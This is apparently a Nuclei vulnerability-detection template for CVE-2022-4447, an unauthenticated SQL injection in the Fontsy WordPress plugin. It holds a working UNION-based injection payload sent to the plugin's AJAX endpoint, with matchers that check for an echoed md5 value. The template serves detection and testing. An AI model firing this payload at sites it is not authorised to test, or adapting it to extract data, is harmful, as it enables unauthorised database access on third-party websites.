id: CVE-2022-4447

info:
  name: Fontsy <= 1.8.6 - Unauthenticated SQLi
  author: theamanrawat
  severity: critical
  description: |
    The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
  reference:
    - https://wpscan.com/vulnerability/6939c405-ac62-4144-bd86-944d7b89d0ad
    - https://wordpress.org/plugins/fontsy/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4447
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4447
    cwe-id: CWE-89
  metadata:
    verified: "true"
  tags: cve,wordpress,wp,wpscan,cve2022,wp-plugin,sqli,fontsy,unauth

variables:
  num: "999999999"

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5({{num}}),NULL--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "{{md5(num)}}")'
        condition: and